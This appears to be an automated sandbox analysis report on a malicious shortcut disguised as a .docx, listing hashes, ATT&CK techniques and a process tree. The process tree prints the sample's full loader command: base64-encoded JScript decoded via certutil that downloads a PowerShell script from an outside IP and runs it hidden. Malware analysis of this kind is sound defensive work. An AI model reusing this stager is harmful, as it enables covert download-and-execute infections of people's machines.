181db83be5c01390f031a7601476ff4fb54aa5d5f777694a0eb920b9e4393e79

Analysis

max time kernel
148s
max time network
116s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
20/07/2026, 12:20

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General

Target
form_c.docx.lnk
Size 72KB
Sample260720-ph47ysb19s
SHA256 181db83be5c01390f031a7601476ff4fb54aa5d5f777694a0eb920b9e4393e79
MD5 4b05c67020d8b5730925f493fb139305
SHA1 00705103cb409ade10597e6c04032a1f4bac380a
SHA512 5a4fc92ee90ba1f00bf6f9f07174ae4cfeb3b847e517c04ad6f46aaa0796b1c20c14e4202aab18ee598b6786aa898919db4c8ff408d7cf41ac6c5effa59cccba
SSDEEP 24:8d/AfK0yNyaWInZU8lvxvCSp+UOi+Eu+njVHqoWqdwvM7Jew:8lAhanFvCy7KEu+njthW+aR
TLSH
T15873993035E81059E2F3EE71ADE476C5ACAFF177A96116AD4841020A0D12E80EE65B3B
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

defense_evasion execution

Malware Config

Signatures

Badlisted process makes network request 1 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
4	1092	wscript.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
5380	powershell.exe

Deobfuscate/Decode Files or Information 1 TTPs 2 IoCs

Payload decoded via CertUtil.

defense_evasion

Deobfuscate/Decode Files or Information

T1140

pid	Process
4644	cmd.exe
1740	certutil.exe

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 1 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
1492	cmd.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
5380	powershell.exe
5380	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	5380	powershell.exe

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 1492 wrote to memory of 4644	1492	cmd.exe	90
PID 4644 wrote to memory of 1740	4644	cmd.exe	91
PID 4644 wrote to memory of 1092	4644	cmd.exe	92
PID 1092 wrote to memory of 5380	1092	wscript.exe	93

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\form_c.docx.lnk
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:1492
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c "cd /d C:\Users\Admin\AppData\Local\Temp && echo dmFyIGg9bmV3IEFjdGl2ZVhPYmplY3QoIk1TWE1MMi5TZXJ2ZXJYTUxIVFRQLjYuMCIpO2gub3BlbigiR0VUIiwiaHR0cDovLzg5LjEwNi44My40MC9JbnZpdGF0aW9uX0F1Zy9wcmludGluZ3NjaW1pdGFyLnBzMSIsZmFsc2UpO2guc2V0UmVxdWVzdEhlYWRlcigiVXNlci1BZ2VudCIsIlVBIFdpbmRvd3NQb3dlclNoZWxsIik7aC5zZW5kKCk7bmV3IEFjdGl2ZVhPYmplY3QoIlNoZWxsLkFwcGxpY2F0aW9uIikuU2hlbGxFeGVjdXRlKCJwb3dlcnNoZWxsLmV4ZSIsIi1Ob1AgLVcgSGlkZGVuIC1DICIraC5yZXNwb25zZVRleHQsIiIsIm9wZW4iLDApOw== > sp.b64 && certutil -decode sp.b64 NC6P.js >nul && wscript //b NC6P.js && del sp.b64 NC6P.js"
  2⤵
  - Deobfuscate/Decode Files or Information
  - Suspicious use of WriteProcessMemory
  PID:4644
- - C:\Windows\system32\certutil.exe
    certutil -decode sp.b64 NC6P.js
    3⤵
    - Deobfuscate/Decode Files or Information
    PID:1740
- - C:\Windows\system32\wscript.exe
    wscript //b NC6P.js
    3⤵
    - Badlisted process makes network request
    - Suspicious use of WriteProcessMemory
    PID:1092
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -W Hidden -C <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>403 Forbidden</title> </head><body> <h1>Forbidden</h1> <p>You don't have permission to access this resource.</p> <hr> <address>Apache/2.4.58 (Ubuntu) Server at 89.106.83.40 Port 80</address> </body></html>
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:5380

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

PowerShell

T1059.001

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Deobfuscate/Decode Files or Information

T1140

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

NC6P.js

Path C:\Users\Admin\AppData\Local\Temp\NC6P.js
Size 313B
SHA256 25c4ff37bfa9da41028275af82839b36195fb97836f0acb41bbbaa57d4d7dee7
MD5 c0f1a7d223251f370d9509681238080c
SHA1 df33f4ee14907ddb9ef63cdeedef6a10288067fc
SHA512 6c62854d87c9ac9afc0d93330ea82d70dd344816662fb454a0e080bd6db4edecad69552bfc7e10325ac05a7ae3590f9099754db3819a11058cfff46596df735e
TLSH
T199E07DA441B190DD50C7AFED9460E35442EB40B47011E8EBB708CAD46410244665F2CF
MD5 SHA1 SHA512 TLSH

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sp.b64

Path C:\Users\Admin\AppData\Local\Temp\sp.b64
Size 424B
SHA256 4c072276b58f94f63b5306fc93e1482aa98854817b3e160320ab18b7474e9cb0
MD5 0088dc3e1af47f277df572ae8c9f0952
SHA1 4b87d5ddf177183cb7f17179316dcf2b8a210d7a
SHA512 ebd03988e3c058108987fdc5ce9d1db59aaa1688fe59753ac365ecada2affe9cc973085731fcb87d970ea98d74c54057b94aab492db70991a112cd2204dfa4f1
TLSH
T19BE0A35E9986339345602C01B6E4046FF5888A502D635B7CE719BC5A3EFC79F84F416C
MD5 SHA1 SHA512 TLSH

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memory/5380-4-0x000002611E330000-0x000002611E352000-memory.dmp

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